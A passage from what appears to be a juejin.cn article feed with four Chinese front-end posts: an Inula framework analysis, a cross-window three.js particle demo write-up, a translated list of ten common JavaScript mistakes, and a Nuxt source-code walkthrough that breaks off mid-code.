主要还是丰富Inula生态,根据社区优秀的库总结一套Inula官方推荐的最佳实践。至于开发者怎么选择,我们并不强求。


卡颂的分析


以上是我对Inula核心开发者陈超涛的采访。下面是我看了Inula源码后的一些分析。


要分析一款前端框架,最重要的是明白他是如何更新视图的?这里我选择了两种触发时机来分析:



  1. 首次渲染


触发的方式类似如下:


Inula.render(<App />, document.getElementById("root"));


  1. 执行useState的更新方法触发更新


触发的方式类似如下:


function App() {
const [num, update] = useState(0);
// 触发更新
update(xxx);
// ...
}

顺着调用栈往下看,他们都会执行两步操作:



  1. 创建名为update的数据结构

  2. 执行launchUpdateFromVNode方法


比如这是首屏渲染时:



这是useState更新方法执行时:



launchUpdateFromVNode方法会向上遍历到根结点(源码中遍历的节点叫VNode),再从根节点开始遍历树。由此可以判断,Inula的更新机制与React类似。


所有主流框架在触发更新后,都不会立刻执行更新,中间还有个调度流程。这个流程的存在是为了解决:



  1. 哪些更新应该被优先执行?

  2. 是否有些更新是冗余的,需要合并在一块执行?


Vue中,更新会在微任务中被调度并统一执行,在React中,同时存在微任务(promise)与宏任务(MessageChannel)的调度模式。


Inula中,存在宏任务的调度模式 —— 当宿主环境支持MessageChannel时会使用它,不支持则使用setTimeout调度:



同时,与这套调度机制配套的还有个简单的优先级算法 —— 存在两种优先级,其中:



  • ImmediatePriority:对应正常情况触发的更新

  • NormalPriority:对应useEffect回调


每个更新会根据更新的ID(一个自增的数字)+ 优先级对应的数字 作为优先级队列中的排序依据,按顺序执行。


假设先后触发2次更新,优先级分别是ImmediatePriorityNormalPriority,那么他们的排序依据分别是:



  1. 100(假设当前ID到100了)- 1(ImmediatePriority对应-1) = 99

  2. 101(100自增到101)+ 10000(NormalPriority对应10000)= 10101


99 < 10101,所以前者会先执行。


需要注意的是,Inula中对更新优先级的控制粒度没有React并发更新细,比如对于如下代码:


useEffect(function cb() {
update(xxx);
update(yyy);
})

React中,控制的是每个update对应优先级。在Inula中,控制的是cb回调函数与其他更新所在回调函数之间的执行顺序。


这意味着本质来说,Inula中触发的所有更新都是同步更新,不存在React并发更新中高优先级更新打断低优先级更新的情况。


这也解释了为什么Inula兼容 95% 的React API,剩下 5% 就是并发更新相关API(比如useTransitionuseDeferredvalue)。


现在我们已经知道Inula的更新方式类似React,那么官网提到的响应式API该如何实现呢?这里存在三条路径:



  1. 一套外挂的响应式系统,类似ReactMobx的关系

  2. 内部同时存在两套更新系统(当前一套,响应式一套),调用不同的API使用不同的系统

  3. 重构内部系统为响应式系统,通过编译手段,使所有API(包括当前的React API与未来的类 Vue Composition API)都走这套系统



其中第一条路径比较简单,第二条路径应该还没框架使用,第三条路径想象空间最大。不知道Inula未来会如何发展。


总结


当前,Inula是一款类React的框架,功能上可以类比为React并发更新之前的版本


下一步,Inula会引入响应式API,目的是提高渲染效率。


对于未来的发展,主要围绕在:



  • 探索类 Vue Composition API的可能性

  • 迭代官方核心生态库


对于华为出的这款前端框架,你怎么看?


作者:魔术师卡颂
来源:juejin.cn/post/7307451255432249354
收起阅读 »

终于把国外大佬的跨窗口量子纠缠粒子效果给肝出来

web
前言 上篇文章 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果反响很大,但是仅仅只是实现了跨窗口动画效果,严格说就没有动画,还有些bug和遗憾,尤其是粒子效果,得入three.js坑,怎么办?跳啊! 硬肝了两天,实在肝不动了,看效果吧。 第一版v2效果,大...
继续阅读 »

前言


上篇文章 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果反响很大,但是仅仅只是实现了跨窗口动画效果,严格说就没有动画,还有些bug和遗憾,尤其是粒子效果,得入three.js坑,怎么办?跳啊!


硬肝了两天,实在肝不动了,看效果吧。


第一版v2效果,大粒子,粒子数量较少:
v2 (1).gif


第二版v2.1,小粒子,粒子数量多:
v2.1 (1).gif


three.js


官方文档:threejs.org/,中文文档:three.js docs


我第一次接触three.js,之前只是听说过,比如能弄车展啥的,感觉很厉害,就想借此机会学习下,跳进坑里才发现,这坑也太深了。随便找个教程,里面各种名词就给我弄吐了。


先按文档 three.js docs 画个立方体,跑起来了,但是我想要球体啊,还有粒子围着中心转,这么多api学不起啊,搜教程也是杂乱无章,无从学起,咋整?找现成的啊!


看到官网有很多现成的例子,找了一个相近的:threejs.org/examples/#w…,截了个静态图长这样:
image.png


找源码:three.js/examples/we…,copy到本地,代码就200行,用到的three api就几个,搜下api大概了解代码各部分的功能,基本都能看懂,然后删了多余功能,一个粒子绕球中心旋转功能就出来了。


现在关于粒子移动、渲染、球体旋转缩放等变化api都已经基本搞懂了,然后就是痛苦折磨的计算调试了,不想再回忆了。


动画效果的移动都是靠循环对象、计算坐标,改变粒子的position来实现的,感觉应该会有更好的现成api能简化这个过程,而且有缓冲、阻尼效果等。如果有更好的例子,欢迎大佬分享。


总结下用到的api吧,就几个:


构造方法



  1. THREE.PerspectiveCamera:透视投影相机,3D场景的渲染中使用得最普遍的投影模式。

  2. THREE.SceneTHREE.WebGLRenderer:场景和渲染器。

  3. THREE.TextureLoader:创建纹理,用于加载粒子贴图。

  4. THREE.SpriteMaterial:创建精灵材质。

  5. THREE.Sprite:创建精灵,用于表示粒子。

  6. THREE.Gr0up:创建对象容器,用于整体控制多个粒子,达到旋转等效果。


属性



  1. .position.x\y\z:坐标位移;

  2. .rotation.x\y\z:粒子绕球体旋转;

  3. .position.multiplyScalar(radius):对三个向量x\y\z上分别乘以给定标量radius,用于设置粒子距球体中心距离;

  4. .scale.set:设置粒子自身的缩放

  5. .visible:控制Gr0up或粒子显隐;


难点


THREE.PerspectiveCamera透视投影相机下,由于是模拟人的眼睛从远处看的,所以会导致坐标上的单位跟html里的像素单位是不一致的,有一定的比例。但是判断浏览器窗口位置都是像素单位的,所以得算出这个比例、或者找到一种办法让两个单位是一致的。在外网搜到一个方案:forum.babylonjs.com/t/how-to-se…


const perspective = 800;
const fov = (180 * (2 * Math.atan(window.innerHeight / 2 / perspective))) / Math.PI;
const camera = new THREE.PerspectiveCamera(fov, window.innerWidth / window.innerHeight, 1, 1000);
camera.position.set(0, 0, perspective);

这样设置相机后,俩个单位就是一致的。至于原理。。。看见Math.atan就头大,过!


BroadcastChannel


BroadcastChannel的api很简单,在一个窗口中postMessage,另一个窗口就会通过message事件接受到了。


const channel = new BroadcastChannel('editor_channel');
channel.postMessage({ aa: '123' });
channel.addEventListener('message', ({ data }) => {
console.log(data);
});

在此例逻辑是,进页面初始化时、或者坐标改变时,需要把当前窗口坐标postMessage发送到别的窗口中,然后再把所有窗体坐标数据都存在js全局变量里使用。


但是这里有个问题,如果刷新其中一个窗口时,没办法立即获取别的窗口数据,因为别的窗口只有在坐标变化时才会发送数据(为了提高效率,不会在requestAnimationFrame里一直发数据),这样就得主动postMessage一个标记到别的窗口,然后别的窗口再把自己的数据postMessage回来,是个异步过程,有些繁琐。


使用上不比LocalStorage简单多少,不过BroadcastChannel确实可以解决LocalStorage的全局影响和缓存不自动清空问题。有兴趣可以自己实现下。(可以重写storage.js里方法)


优化窗口数据监听与更新



  • 注册window storage事件,监听storage变化时(当其它窗口位置变化时),判断最新窗口总数,当数量变化时,在当前窗口重新实例化所有球体及粒子对象。

  • 注册window resize事件,更新摄像机比例和渲染器size。

  • 将所有窗口数据保存在js全局变量里,用于在requestAnimationFrame中读取渲染动画,并且只在需要时更新:

    • 其它窗口位置变化时(通过window storage事件);

    • requestAnimationFrame中判断当前窗口位置变化时(比较全局变量与当前window位置),更新全局变量和storage;




通过以上逻辑优化,可以有效提高渲染速度,减少代码重复执行,减小客户端压力。


待改进



  1. three.js实现上:学习的还是太浅了,有些动画效果应该会有更好的实现方式,希望有大佬能指点下。

  2. three.js效果:跟国外原大佬比不了,他那是粒子,我这个就是个球。

  3. 拖动窗口位置时的球体移动阻尼效果,这个实现了下,有了个效果,但是卡顿感明显,不顺畅,而且在连线动画下效果更差。

  4. 当改变窗口大小时,球体大小会随着窗口大小变化,想固定大小没找到解决方法,然后计算球体位置也没有考虑窗体大小,所以现在多窗口要求窗口大小必须是一样的。

  5. 球体之间的连线粒子移动效果不佳,特别在窗口移动时,还需优化算法。


总结


总结下相比之前的例子 尝试实现了国外大佬用Web做出来跨窗口渲染动画效果,有以下提升:



  1. 引入three.js,画出了球体、粒子旋转动画,多窗口球体,球体间粒子连线动画效果。

  2. BroadcastChannel代替LocalStorage。(技术选型没选上,未实现)

  3. 支持多个窗口(理论上没有限制),并且窗口重叠时不会有连线缺失。


跨窗口通信、存储窗口坐标、在每个窗口画出所有球体和连线,这个机制流程已经很成熟了,没有太大的优化提升空间了,所以要实现国外大佬视频效果,就只剩three.js了,实在是学不动了,水太深。


源码已上传至GitHub,代码里有详细注释,希望能有所帮助:github.com/markz-demo/…


做了两版效果,可以通过代码里注释查看效果,README.md 中有说明。


Demo:markz-demo.github.io/mark-cross-…


作者:Mark大熊
来源:juejin.cn/post/7307057492059471899
收起阅读 »

JS 爱好者的十大反向教学(译)

web
大家好,这里是大家的林语冰。 免责声明 本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face。 今时今日,JS(JavaScript)几乎...
继续阅读 »

大家好,这里是大家的林语冰。



免责声明


本文属于是语冰的直男翻译了属于是,仅供粉丝参考,英文原味版请临幸 The 10 Most Common JavaScript Issues Developers Face



今时今日,JS(JavaScript)几乎是所有现代 Web App 的核心。这就是为什么 JS 出问题,以及找到导致这些问题的错误,是 Web 开发者的最前线。


用于 SPA(单页应用程序)开发、图形和动画以及服务器端 JS 平台的给力的 JS 库和框架不足为奇。JS 在 Web App 开发领域早已无处不在,因此是一项越来越需要加点的技能树。


乍一看,JS 可能很简单。事实上,对于任何有经验的软件开发者而言,哪怕它们是 JS 初学者,将基本的 JS 功能构建到网页中也是举手之劳。


虽然但是,这种语言比大家起初认为的要更微妙、给力和复杂。事实上,一大坨 JS 的微妙之处可能导致一大坨常见问题,无法正常工作 —— 我们此处会讨论其中的 10 个问题。在成为 JS 大神的过程中,了解并避免这些问题十分重要


问题 1:this 引用失真


JS 开发者对 JS 的 this 关键字不乏困惑。


多年来,随着 JS 编码技术和设计模式越来越复杂,回调和闭包中自引用作用域的延伸也同比增加,此乃导致 JS “this 混淆”问题的“万恶之源”。


请瞄一眼下述代码片段:


const Game = function () {
this.clearLocalStorage = function () {
console.log('Clearing local storage...')
}
this.clearBoard = function () {
console.log('Clearing board...')
}
}

Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(function () {
this.clearBoard() // this 是什么鬼物?
}, 0)
}

const myGame = new Game()
myGame.restart()

执行上述代码会导致以下错误:


未捕获的类型错误: this.clearBoard 不是函数

为什么呢?这与上下文有关。出现该错误的原因是,当您执行 setTimeout() 时,您实际是在执行 window.setTimeout()。因此,传递给 setTimeout() 的匿名函数定义在 window 对象的上下文中,该对象没有 clearBoard() 方法。


一个传统的、兼容旧浏览器的技术方案是简单地将您的 this 引用保存在一个变量中,然后可以由闭包继承,举个栗子:


Game.prototype.restart = function () {
this.clearLocalStorage()
const self = this // 当 this 还是 this 的时候,保存 this 引用!
this.timer = setTimeout(function () {
self.clearBoard() // OK,我们可以知道 self 是什么了!
}, 0)
}

或者,在较新的浏览器中,您可以使用 bind() 方法传入正确的引用:


Game.prototype.restart = function () {
this.clearLocalStorage()
this.timer = setTimeout(this.reset.bind(this), 0) // 绑定 this
}

Game.prototype.reset = function () {
this.clearBoard() // OK,回退到正确 this 的上下文!
}

问题 2:认为存在块级作用域


JS 开发者之间混淆的“万恶之源”之一(因此也是 bug 的常见来源)是,假设 JS 为每个代码块创建新的作用域。尽管这在许多其他语言中是正确的,但在 JS 中却并非如此。举个栗子,请瞄一眼下述代码:


for (var i = 0; i < 10; i++) {
/* ... */
}
console.log(i) // 输出是什么鬼物?

如果您猜到调用 console.log() 会输出 undefined 或报错,那么恭喜您猜错了。信不信由你,它会输出 10。为什么呢?


在大多数其他语言中,上述代码会导致错误,因为变量 i 的“生命”(即作用域)将被限制在 for 区块中。虽然但是,在 JS 中,情况并非如此,即使在循环完成后,变量 i 仍保留在范围内,在退出 for 循环后保留其最终值。(此行为被称为变量提升。)


JS 对块级作用域的支持可通过 let 关键字获得。多年来,let 关键字一直受到浏览器和后端 JS 引擎(比如 Node.js)的广泛支持。如果这对您来说是新知识,那么值得花时间阅读作用域、原型等。


问题3:创建内存泄漏


如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免。它们有一大坨触发方式,因此我们只强调其中两种更常见的情况。


示例 1:失效对象的虚空引用


注意:此示例仅适用于旧版 JS 引擎,新型 JS 引擎具有足够机智的垃圾回收器(GC)来处理这种情况。


请瞄一眼下述代码:


var theThing = null
var replaceThing = function () {
var priorThing = theThing // 保留之前的东东
var unused = function () {
// unused 是唯一引用 priorThing 的地方,
// 但 unused 从未执行
if (priorThing) {
console.log('hi')
}
}
theThing = {
longStr: new Array(1000000).join('*'), // 创建一个 1MB 的对象
someMethod: function () {
console.log(someMessage)
}
}
}
setInterval(replaceThing, 1000) // 每秒执行一次 replaceThing

如果您运行上述代码并监视内存使用情况,就会发现严重的内存泄漏 —— 每秒有一整兆字节!即使是手动垃圾收集器也无济于事。所以看起来每次调用 replaceThing 时我们都在泄漏 longSte。但是为什么呢?



如果您没有刻意编码来避免内存泄漏,那么内存泄漏几乎不可避免



让我们更详细地检查一下:


每个 theThing 对象都包含自己的 1MB longStr 对象。每一秒,当我们调用 replaceThing 时,它都会保留 priorThing 中之前的 theThing 对象的引用。但我们仍然不认为这是一个问题,因为每次先前引用的 priorThing 都会被取消引用(当 priorThing 通过 priorThing = theThing; 重置时)。此外,它仅在 replaceThing 的主体中和 unused 函数中被引用,这实际上从未使用过。


因此,我们再次想知道为什么这里存在内存泄漏。


要了解发生了什么事,我们需要更好地理解 JS 的内部工作原理。闭包通常由链接到表示其词法作用域的字典风格对象(dictionary-style)的每个函数对象实现。如果 replaceThing 内部定义的两个函数实际使用了 priorThing,那么它们都得到相同的对象是很重要的,即使 priorThing 逐次赋值,两个函数也共享相同的词法环境。但是,一旦任何闭包使用了变量,它就会进入该作用域中所有闭包共享的词法环境中。而这个小小的细微差别就是导致这种粗糙的内存泄漏的原因。


示例 2:循环引用


请瞄一眼下述代码片段:


function addClickHandler(element) {
element.click = function onClick(e) {
alert('Clicked the ' + element.nodeName)
}
}

此处,onClick 有一个闭包,它保留了 element 的引用(通过 element.nodeName)。通过同时将 onClick 赋值给 element.click,就创建了循环引用,即 element -> onClick -> element -> onClick -> element ......


有趣的是,即使 element 从 DOM 中删除,上述循环自引用也会阻止 elementonClick 被回收,从而造成内存泄漏。


避免内存泄漏:要点


JS 的内存管理(尤其是它的垃圾回收)很大程度上基于对象可达性(reachability)的概念。


假定以下对象是可达的,称为“根”:



  • 从当前调用堆栈中的任意位置引用的对象(即,当前正在执行的函数中的所有局部变量和参数,以及闭包作用域中的所有变量)

  • 所有全局变量


只要对象可以通过引用或引用链从任何根访问,那么它们至少会保留在内存中。


浏览器中有一个垃圾回收器,用于清理不可达对象占用的内存;换而言之,当且仅当 GC 认为对象不可达时,才会从内存中删除对象。不幸的是,很容易得到已失效的“僵尸”对象,这些对象不再使用,但 GC 仍然认为它们可达。


问题 4:混淆相等性


JS 的便捷性之一是,它会自动将布尔上下文中引用的任何值强制转换为布尔值。但在某些情况下,这可能既香又臭。


举个栗子,对于一大坨 JS 开发者而言,下列表达式很头大:


// 求值结果均为 true!
console.log(false == '0');
console.log(null == undefined);
console.log(" \t\r\n" == 0);
console.log('' == 0);

// 这些也是 true!
if ({}) // ...
if ([]) // ...

关于最后两个,尽管是空的(这可能会让您相信它们求值为 false),但 {}[] 实际上都是对象,并且 JS 中任何对象都将被强制转换为 true,这与 ECMA-262 规范一致。


正如这些例子所表明的,强制类型转换的规则有时可以像泥巴一样清晰。因此,除非明确需要强制类型转换,否则通常最好使用 ===!==(而不是 ==!=)以避免强制类型转换的任何意外副作用。(==!= 比较两个东东时会自动执行类型转换,而 ===!== 在不进行类型转换的情况下执行同款比较。)


由于我们谈论的是强制类型转换和比较,因此值得一提的是,NaN 与任何事物(甚至 NaN 自己!)进行比较始终会返回 false。因此您不能使用相等运算符( =====!=!==)来确定值是否为 NaN。请改用内置的全局 isNaN() 函数:


console.log(NaN == NaN) // False
console.log(NaN === NaN) // False
console.log(isNaN(NaN)) // True

问题 5:低效的 DOM 操作


JS 使得操作 DOM 相对容易(即添加、修改和删除元素),但对提高操作效率没有任何作用。


一个常见的示例是一次添加一个 DOM 元素的代码。添加 DOM 元素是一项代价昂贵的操作,连续添加多个 DOM 元素的代码效率低下,并且可能无法正常工作。


当需要添加多个 DOM 元素时,一个有效的替代方案是改用文档片段(document fragments),这能提高效率和性能。


举个栗子:


const div = document.getElementById('my_div')
const fragment = document.createDocumentFragment()
const elems = document.querySelectorAll('a')

for (let e = 0; e < elems.length; e++) {
fragment.appendChild(elems[e])
}
div.appendChild(fragment.cloneNode(true))

除了这种方法固有的提高效率之外,创建附加的 DOM 元素代价昂贵,而在分离时创建和修改它们,然后附加它们会产生更好的性能。


问题 6:在 for 循环中错误使用函数定义


请瞄一眼下述代码:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
for (var i = 0; i < n; i++) {
elements[i].onclick = function () {
console.log('This is element #' + i)
}
}

根据上述代码,如果有 10 个输入元素,单击其中任何一个都会显示“This is element #10”!这是因为,在为任何元素调用 onclick 时,上述 for 循环将完成,并且 i 的值已经是 10(对于所有元素)。


以下是我们如何纠正此问题,实现所需的行为:


var elements = document.getElementsByTagName('input')
var n = elements.length // 我们假设本例有 10 个元素
var makeHandler = function (num) {
// 外部函数
return function () {
// 内部函数
console.log('This is element #' + num)
}
}
for (var i = 0; i < n; i++) {
elements[i].onclick = makeHandler(i + 1)
}

在这个修订版代码中,每次我们通过循环时,makeHandler 都会立即执行,每次都会接收当时 i + 1 的值并将其绑定到作用域的 num 变量。外部函数返回内部函数(也使用此作用域的 num 变量),元素的 onclick 会设置为该内部函数。这确保每个 onclick 接收和使用正确的 i 值(通过作用域的 num 变量)。


问题 7:误用原型式继承


令人惊讶的是,一大坨 JS 爱好者无法完全理解和充分利用原型式继承的特性。


下面是一个简单的示例:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
} else {
this.name = 'default'
}
}

这似乎一目了然。如果您提供一个名称,请使用该名称,否则将名称设置为“default”。举个栗子:


var firstObj = new BaseObject()
var secondObj = new BaseObject('unique')

console.log(firstObj.name) // -> 结果是 'default'
console.log(secondObj.name) // -> 结果是 'unique'

但是,如果我们这样做呢:


delete secondObj.name

然后我们会得到:


console.log(secondObj.name) // -> 结果是 'undefined'

骚然但是,将其恢复为“default”不是更好吗?如果我们修改原始代码以利用原型式继承,这很容易实现,如下所示:


BaseObject = function (name) {
if (typeof name !== 'undefined') {
this.name = name
}
}

BaseObject.prototype.name = 'default'

在此版本中,BaseObject 从其 prototype 对象继承该 name 属性,其中该属性(默认)设置为 'default'。因此,如果调用构造函数时没有名称,那么名称将默认为 default。同样,如果从 BaseObject 的实例删除该 name 属性,那么会搜索原型链,并从 prototype 对象中检索值仍为 'default'name 属性。所以现在我们得到:


var thirdObj = new BaseObject('unique')
console.log(thirdObj.name) // -> 结果是 'unique'

delete thirdObj.name
console.log(thirdObj.name) // -> 结果是 'default'

问题 8:创建对实例方法的错误引用


让我们定义一个简单对象,并创建它的实例,如下所示:


var MyObjectFactory = function () {}

MyObjectFactory.prototype.whoAmI = function () {
console.log(this)
}

var obj = new MyObjectFactory()

现在,为了方便起见,让我们创建一个 whoAmI 方法的引用,大概这样我们就可以通过 whoAmI() 访问它,而不是更长的 obj.whoAmI()


var whoAmI = obj.whoAmI

为了确保我们存储了函数的引用,让我们打印出新 whoAmI 变量的值:


console.log(whoAmI)

输出:


function () {
console.log(this);
}

目前它看起来不错。


但是瞄一眼我们调用 obj.whoAmI() 与便利引用 whoAmI() 时的区别:


obj.whoAmI() // 输出 "MyObjectFactory {...}" (预期)
whoAmI() // 输出 "window" (啊这!)

哪里出了问题?我们的 whoAmI() 调用位于全局命名空间中,因此 this 设置为 window(或在严格模式下设置为 undefined),而不是 MyObjectFactoryobj 实例!换而言之,该 this 值通常取决于调用上下文。


箭头函数((params) => {} 而不是 function(params) {})提供了静态 this,与常规函数基于调用上下文的 this 不同。这为我们提供了一个技术方案:


var MyFactoryWithStaticThis = function () {
this.whoAmI = () => {
// 请注意此处的箭头符号
console.log(this)
}
}

var objWithStaticThis = new MyFactoryWithStaticThis()
var whoAmIWithStaticThis = objWithStaticThis.whoAmI

objWithStaticThis.whoAmI() // 输出 "MyFactoryWithStaticThis" (同往常一样)
whoAmIWithStaticThis() // 输出 "MyFactoryWithStaticThis" (箭头符号的福利)

您可能已经注意到,即使我们得到了匹配的输出,this 也是对工厂的引用,而不是对实例的引用。与其试图进一步解决此问题,不如考虑根本不依赖 this(甚至不依赖 new)的 JS 方法。


问题 9:提供一个字符串作为 setTimeout or setInterval 的首参


首先,让我们在这里明确一点:提供字符串作为首个参数给 setTimeout 或者 setInterval 本身并不是一个错误。这是完全合法的 JS 代码。这里的问题更多的是性能和效率。经常被忽视的是,如果将字符串作为首个参数传递给 setTimeoutsetInterval,它将被传递给函数构造函数以转换为新函数。这个过程可能缓慢且效率低下,而且通常非必要。


将字符串作为首个参数传递给这些方法的替代方法是传入函数。让我们举个栗子。


因此,这里将是 setIntervalsetTimeout 的经典用法,将字符串作为首个参数传递:


setInterval('logTime()', 1000)
setTimeout("logMessage('" + msgValue + "')", 1000)

更好的选择是传入一个函数作为初始参数,举个栗子:


setInterval(logTime, 1000) // 将 logTime 函数传给 setInterval

setTimeout(function () {
// 将匿名函数传给 setTimeout
logMessage(msgValue) // (msgValue 在此作用域中仍可访问)
}, 1000)

问题 10:禁用“严格模式”


“严格模式”(即在 JS 源文件的开头包含 'use strict';)是一种在运行时自愿对 JS 代码强制执行更严格的解析和错误处理的方法,也是一种使代码更安全的方法。


诚然,禁用严格模式并不是真正的“错误”,但它的使用越来越受到鼓励,省略它越来越被认为是不好的形式。


以下是严格模式的若干主要福利:



  • 更易于调试。本来会被忽略或静默失败的代码错误现在将生成错误或抛出异常,更快地提醒您代码库中的 JS 问题,并更快地将您定位到其源代码。

  • 防止意外全局变量。如果没有严格模式,将值赋值给给未声明的变量会自动创建同名全局变量。这是最常见的 JS 错误之一。在严格模式下,尝试这样做会引发错误。

  • 消除 this 强制类型转换。如果没有严格模式,对 nullundefined 值的 this 引用会自动强制转换到 globalThis 变量。这可能会导致一大坨令人沮丧的 bug。在严格模式下,nullundefined 值的 this 引用会抛出错误。

  • 禁止重复的属性名或参数值。严格模式在检测到对象中的重名属性(比如 var object = {foo: "bar", foo: "baz"};)或函数的重名参数(比如 function foo(val1, val2, val1){})时会抛出错误,从而捕获代码中几乎必然出错的 bug,否则您可能会浪费大量时间进行跟踪。

  • 更安全的 eval()。严格模式和非严格模式下 eval() 的行为存在某些差异。最重要的是,在严格模式下,eval() 语句中声明的变量和函数不会在其包裹的作用域中创建。(它们在非严格模式下是在其包裹的作用域中创建的,这也可能是 JS 问题的常见来源。)

  • delete 无效使用时抛出错误delete 运算符(用于删除对象属性)不能用于对象的不可配置属性。当尝试删除不可配置属性时,非严格代码将静默失败,而在这种情况下,严格模式将抛出错误。


使用更智能的方法缓解 JS 问题


与任何技术一样,您越能理解 JS 奏效和失效的原因和方式,您的代码就会越可靠,您就越能有效地利用语言的真正力量。


相反,缺乏 JS 范式和概念的正确理解是许多 JS 问题所在。彻底熟悉语言的细微差别和微妙之处是提高熟练度和生产力的最有效策略。


您现在收看的是前端翻译计划,学废了的小伙伴可以订阅此专栏合集,我们每天佛系投稿,欢迎持续关注前端生态。谢谢大家的点赞,掰掰~


26-cat.gif


作者:人猫神话
来源:juejin.cn/post/7306040473542508556
收起阅读 »

Nuxt源码浅析

web
来聊聊Nuxt源码。 聊聊启动nuxt项目 废话不多说,看官网一段Nuxt项目启动 const { Nuxt, Builder } = require('nuxt') const app = require('express')() const isProd...
继续阅读 »

来聊聊Nuxt源码。


聊聊启动nuxt项目


废话不多说,看官网一段Nuxt项目启动


const { Nuxt, Builder } = require('nuxt')

const app = require('express')()
const isProd = process.env.NODE_ENV === 'production'
const port = process.env.PORT || 3000

// 用指定的配置对象实例化 Nuxt.js
const config = require('./nuxt.config.js')
config.dev = !isProd
const nuxt = new Nuxt(config)

// 用 Nuxt.js 渲染每个路由
app.use(nuxt.render)

// 在开发模式下启用编译构建和热加载
if (config.dev) {
new Builder(nuxt).build().then(listen)
} else {
listen()
}

function listen() {
// 服务端监听
app.listen(port, '0.0.0.0')
console.log('Server listening on `localhost:' + port + '`.')
}

解读一下这段代码:


导入nuxt的Nuxt类和Builder类,然后用express创建一个node服务。


导入nuxt.config.js,使用导入的nuxt的config对象,创建nuxt实例: const nuxt = new Nuxt(config)


然后重点是 app.use(nuxt.render)。把nuxt.render作为node服务中间件使用即可。
到这里在生产上就可以运行了(生成前会先nuxt build)。


然后就是监听listen端口


所以到这里有2条线索,一个是:nuxt build的产物,自动生成路由。dist下的client和server资源文件是什么?
一个是,上面的服务,怎么会根据当前页面路径渲染出当期的html的。


你知道了,今天说的是第二条,来看看,nuxt是怎么渲染页面的,它做了什么nuxt到底是什么?


目录结构


下载好源码后来看下源码的核心目录结构


// 工程核心目录结构
├─ distributions
├─ nuxt // nuxt指令入口,同时对外暴露@nuxt/core、@nuxt/builder、@nuxt/generator、getWebpackConfig
├─ nuxt-start // nuxt start指令,同时对外暴露@nuxt/core
├─ lerna.json // lerna配置文件
├─ package.json
├─ packages // 工作目录
├─ babel-preset-app // babel初始预设
├─ builder // 根据路由构建动态当前页ssr资源,产出.nuxt资源
├─ cli // 脚手架命令入口
├─ config // 提供加载nuxt配置相关的方法
├─ core // Nuxt实例,加载nuxt配置,初始化应用模版,渲染页面,启动SSR服务
├─ generator // Generato实例,生成前端静态资源(非SSR)
├─ server // Server实例,基于Connect封装开发/生产环境http服务,管理Middleware
├─ types // ts类型
├─ utils // 工具类
├─ vue-app // 存放Nuxt应用构建模版,即.nuxt文件内容
├─ vue-renderer // 根据构建的SSR资源渲染html
└─ webpack // webpack相关配置、构建实例
├─ scripts
├─ test
└─ yarn.lock

Nuxt类在core下nuxt.js文件。来看看new Nuxt的主要代码:



export default class Nuxt extends Hookable {
constructor (options = {}) {
super(consola)

// Assign options and apply defaults
this.options = getNuxtConfig(options)

this.moduleContainer = new ModuleContainer(this)

// Deprecated hooks
this.deprecateHooks({
})

this.showReady = () => { this.callHook('webpack:done') }

// Init server
if (this.options.server !== false) {
this._initServer()
}

// Call ready
if (this.options._ready !== false) {
this.ready().catch((err) => {
consola.fatal(err)
})
}
}


ready () {
}

async _init () {
}

_initServer () {
}
}

实例化nuxt的工作内容很简单:



  1. this.options = getNuxtConfig(options) nuxt.config.js对象合并 Nuxt默认对象



// getDefaultNuxtConfig
export function getDefaultNuxtConfig (options = {}) {
if (!options.env) {
options.env = process.env
}

return {
..._app(),
..._common(),
build: build(),
messages: messages(),
modes: modes(),
render: render(),
router: router(),
server: server(options),
cli: cli(),
generate: generate()
}
}

// config
...
const nuxtConfig = getDefaultNuxtConfig()
defaultsDeep(options, nuxtConfig)
...



  1. this.moduleContainer = new ModuleContainer(this) 创建了一个moduleConiner实例


export default class ModuleContainer {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options
this.requiredModules = {}

}
}


  1. this._initServer() 来创建一个connect服务。


  _initServer () {
if (this.server) {
return
}
this.server = new Server(this)
this.renderer = this.server
this.render = this.server.app
defineAlias(this, this.server, ['renderRoute', 'renderAndGetWindow', 'listen'])
}

export default class Server {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options

this.globals = determineGlobals(nuxt.options.globalName, nuxt.options.globals)

this.publicPath = isUrl(this.options.build.publicPath)
? this.options.build._publicPath
: this.options.build.publicPath.replace(/^\.+\//, '/')

// Runtime shared resources
this.resources = {}

// Will be set after listen
this.listeners = []

// Create new connect instance
this.app = connect()

// Close hook
this.nuxt.hook('close', () => this.close())

// devMiddleware placeholder
if (this.options.dev) {
this.nuxt.hook('server:devMiddleware', (devMiddleware) => {
this.devMiddleware = devMiddleware
})
}
}
}

server很简单,使用connect创建了一个instance. 然后实例化一些参数。其中,我们发现nuxt会触发一些hooks。在每一个节点可以去做一些事情。nuxt能设置hooks是因为nuxt继承Hookable。


随后调用this.ready()方法,就是调用了私有init方法


async _init () {
await this.moduleContainer.ready()
await this.server.ready()
}

主要是调用两个实例的ready方法。


moduleContainer实例ready方法


 async ready () {
// Call before hook
await this.nuxt.callHook('modules:before', this, this.options.modules)

if (this.options.buildModules && !this.options._start) {
// Load every devModule in sequence
await sequence(this.options.buildModules, this.addModule)
}

// Load every module in sequence
await sequence(this.options.modules, this.addModule)

// Load ah-hoc modules last
await sequence(this.options._modules, this.addModule)

// Call done hook
await this.nuxt.callHook('modules:done', this)
}

总结就是加载 buildModules modules 模块并且执行。


buildModules: [
'@nuxtjs/eslint-module'
],
modules: [
'@nuxtjs/axios'
],

server实例的ready方法


async ready () {
this.serverContext = new ServerContext(this)
this.renderer = new VueRenderer(this.serverContext)
await this.renderer.ready()
await this.setupMiddleware()
}

ServerContext类很简单,就是设置server 上下文resources/options/nuxt/globals这些信息


export default class ServerContext {
constructor (server) {
this.nuxt = server.nuxt
this.globals = server.globals
this.options = server.options
this.resources = server.resources
}
}

VueRenderer ready方法做了那些事情呢?


async _ready () {
await this.loadResources(fs)
this.createRenderer()
}
get resourceMap () {
const publicPath = urlJoin(this.options.app.cdnURL, this.options.app.assetsPath)
return {
clientManifest: {
fileName: 'client.manifest.json',
